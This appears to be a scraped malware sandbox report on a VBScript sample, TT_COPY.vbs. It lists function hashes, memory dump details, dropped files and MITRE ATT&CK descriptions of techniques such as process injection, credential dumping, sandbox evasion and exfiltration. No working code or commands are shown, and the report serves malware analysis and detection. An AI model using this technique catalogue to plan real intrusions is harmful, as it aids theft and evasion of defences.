Instruction ID: 92aa1561b2fca63a088dcd0d2c230cf69fb2fc1b23ea5e51ed00abb6be9e44c8
Opcode Fuzzy Hash: 9daad87de448f38b29335ca6a83270918046acf313b4743cf27e689bd2e5b09f
Instruction Fuzzy Hash: B8E0D8B25403046FE3508E06AC85F13FBA8DF84930F04C567FE081B342E17275148AE6

Uniqueness

Uniqueness Score: -1.00%

Function 1D4523F4 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.6669196294.000000001D452000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D452000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d452000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 783465311bba8eb9dd0f69387c7c40545e3a9985879341002ec5dc4a0d1870f5
Instruction ID: 38d410fd6cb0cbb1ee4ba39f978f47c3eb7082b55a08f2073da7398c42aacf53
Opcode Fuzzy Hash: 783465311bba8eb9dd0f69387c7c40545e3a9985879341002ec5dc4a0d1870f5
Instruction Fuzzy Hash: 00D05E796057914FD3028A18C2E4FA937A4AF53714F5644FAA8409B773C768E581D602

Uniqueness

Uniqueness Score: -1.00%

Function 1D4523BC Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.6669196294.000000001D452000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D452000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d452000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 103845257b1075c186bf513b11d32fbb745b527a3136c1d265613fe37132832d
Instruction ID: aaa377bbbe0ef3fb285accb3315dfbefcbe57ab0081cda814e87f27c080341eb
Opcode Fuzzy Hash: 103845257b1075c186bf513b11d32fbb745b527a3136c1d265613fe37132832d
Instruction Fuzzy Hash: 78D05E347002854FD711CA28C2D0F6933E4AF44700F1244E9BC018F362C7A8E8C0D601

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00CD4500 Relevance: 2.8, Strings: 2, Instructions: 347COMMON

Download Yara Rule

Strings

,QIs, xrefs: 00CD4588
,QIs, xrefs: 00CD45C2

Memory Dump Source

Source File: 00000007.00000002.6646271339.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cd0000_CasPol.jbxd

Similarity

API ID:
String ID: ,QIs$,QIs
API String ID: 0-470405259
Opcode ID: e230e30a25e6f94a95cda889311f923707b15df7d312624600c20fbd664475f5
Instruction ID: 6302d74555601de4e75ebf0306e04438fb7f2f2031913b9a875bfadc27c4fb2e
Opcode Fuzzy Hash: e230e30a25e6f94a95cda889311f923707b15df7d312624600c20fbd664475f5
Instruction Fuzzy Hash: 14C1C375A002058FDB28CF68C880AAEB7F6EF86310F16852BE656DB351DB34ED45C761

Uniqueness

Uniqueness Score: -1.00%

Function 00DAC180 Relevance: 1.4, Strings: 1, Instructions: 126COMMON

Download Yara Rule

Strings

,J', xrefs: 00DAC19F

Memory Dump Source

Source File: 00000007.00000002.6646838713.0000000000D90000.00000040.00000400.00020000.00000000.sdmp, Offset: 00D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_d90000_CasPol.jbxd

Similarity

API ID:
String ID: ,J'
API String ID: 0-3046419478
Opcode ID: ccef05f644db410ac36b7d160bbdbe3f0c84fb101dec929accb1e3c37877ad51
Instruction ID: ec8c704458af6c5bbaab70d6b2288d0069404035bc97fe2bd06999081113bdd2
Opcode Fuzzy Hash: ccef05f644db410ac36b7d160bbdbe3f0c84fb101dec929accb1e3c37877ad51
Instruction Fuzzy Hash: F8411C397103079BDF685A3845F57A722E2EF52290F99D17FDCC7CB2A5DB25C8888212

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report TT_COPY.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3jpr0mil.ht2.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ai3mehq5.lyv.ps1

\Device\ConDrv

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

FTP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

Windows Analysis Report
TT_COPY.vbs

Function 00CD79E0 Relevance: 18.5, Strings: 14, Instructions: 1036
COMMON

Function 00CD5128 Relevance: 18.2, Strings: 14, Instructions: 673
COMMON

Function 1F82D720 Relevance: 9.6, Strings: 7, Instructions: 873
COMMON

Function 00CC1960 Relevance: 6.8, Strings: 5, Instructions: 506
COMMON

Function 00CDB5B8 Relevance: 1.7, APIs: 1, Instructions: 202
libraryCOMMON

Function 00CD4B20 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 165
libraryCOMMON

Function 00CD4B30 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 155
libraryCOMMON

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre